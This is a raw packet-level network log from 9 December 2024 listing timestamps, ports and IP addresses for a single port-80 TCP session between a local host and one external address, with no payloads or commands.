Dec 9, 2024 20:28:12.350874901 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.350986958 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.351032019 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.351897955 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.351939917 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.352174044 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.352211952 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.353049040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.353087902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.353120089 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.354008913 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.354051113 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.354100943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.354142904 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.355065107 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.355103970 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.355206013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.355243921 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.356182098 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.356220961 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.356250048 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.356288910 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.357213974 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.357289076 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.357419968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.358289003 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.358336926 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.358366013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.358411074 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.359358072 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.359401941 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.359445095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.359488964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.360404015 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.360445976 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.360488892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.360528946 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.361531973 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.361591101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.361622095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.361660004 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.362618923 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.362670898 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.362910986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.362956047 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.363596916 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.363647938 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.363924980 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.363970041 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.364660978 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.364706993 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.364753962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.364799023 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.365817070 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.365858078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.365983963 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.366029978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.366801023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.366852999 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.366888046 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.366950989 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.367965937 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.368010998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.368030071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.368076086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.369133949 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.369174004 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.369179964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.369213104 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.369997025 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.370040894 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.370148897 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.370193005 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.371036053 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.371078968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.371145964 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.371189117 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.372117043 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.372162104 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.372180939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.372221947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.373183012 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.373234034 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.373297930 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.373347044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.374310017 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.374356985 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.374373913 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.374417067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.375375986 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.375432968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.375468969 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.375530005 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.376425028 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.376480103 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.376552105 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.376600027 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.377446890 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.377526999 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.377568960 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.377616882 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.378504038 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.378557920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.378669977 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.378715038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.379554987 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.379604101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.379736900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.379782915 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.380714893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.380769968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.380877018 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.380922079 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.381700039 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.381750107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.381812096 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.381858110 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.382776022 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.382832050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.382880926 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.382916927 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.383857965 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.383913994 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.384026051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.384071112 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.384879112 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.384927988 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.384989023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.385034084 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.385941982 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.385993004 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.386056900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.386104107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.386976004 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.387027979 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.523252964 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.523324013 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.523328066 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.523375034 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.523766994 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.523821115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.523830891 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.523874998 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.524878025 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.524894953 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.524923086 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.524940968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.525865078 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.525904894 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.526767015 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.526812077 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.527180910 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.527194023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.527224064 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.527240992 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.528032064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.528044939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.528076887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.528091908 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.529122114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.529169083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.529664040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.529702902 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.530241966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.530253887 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.530288935 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.531368017 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.531380892 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.531408072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.531431913 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.532399893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.532412052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.532449961 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.533395052 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.533407927 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.533447981 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.534475088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.534486055 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.534516096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.535521984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.535571098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.535641909 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.535685062 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.536569118 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.536616087 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.536700010 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.536740065 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.537616968 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.537668943 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.538306952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.538389921 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.538688898 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.538737059 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.538808107 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.538850069 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.539745092 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.539791107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.539835930 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.539870977 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.540921926 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.540935040 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.540987015 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.541910887 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.541924000 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.541954041 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.542011976 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.542933941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.542984009 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.543050051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.543091059 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.544018984 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.544068098 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.544107914 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.544152021 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.545094013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.545108080 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.545139074 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.545159101 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.546149969 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.546192884 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.546267033 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.546308041 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.547272921 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.547346115 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.547370911 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.547410965 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.548260927 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.548307896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.548384905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.548424959 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.549350977 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.549407959 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.549412012 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.549448013 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.550414085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.550484896 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.550570011 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.550621986 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.551453114 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.551486015 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.551512003 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.551542997 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.552566051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.552639008 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.552675962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.552721977 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.553785086 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.553797960 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.553847075 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.554645061 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.554708958 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.554752111 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.554799080 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.555704117 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.555758953 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.555798054 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.555844069 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.556737900 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.556791067 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.556865931 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.556914091 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.557883024 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.557934046 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.558015108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.558063030 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.558950901 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.559004068 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.559009075 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.559046984 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.559981108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.559993982 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.560049057 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.561094046 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.561177969 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.561369896 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.561419964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.562150002 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.562161922 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.562216997 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.563236952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.563241959 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.563308001 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.564366102 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.564378977 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.564429045 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.565386057 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.565398932 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.565445900 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.566422939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.566492081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.566653013 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.566701889 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.567471981 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.567483902 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.567542076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.568523884 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.568540096 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.568597078 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.569664955 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.569679022 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.569755077 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.570698023 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.570712090 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.570775032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.571800947 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.571815014 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.571872950 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.572792053 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.572808027 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.572866917 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.572900057 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.573936939 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.573945045 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.574014902 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.574939966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.574954033 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.575021029 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.576040030 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.576054096 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.576121092 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.577107906 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.577122927 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.577178001 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.578052998 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.578099012 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.578123093 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.578169107 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.579360962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.579458952 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.715131044 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.715300083 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.715338945 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.715374947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.715603113 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.715616941 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.715662956 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.716792107 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.716850996 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.716991901 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.717046022 CET	49795	80	192.168.2.4	31.41.244.11
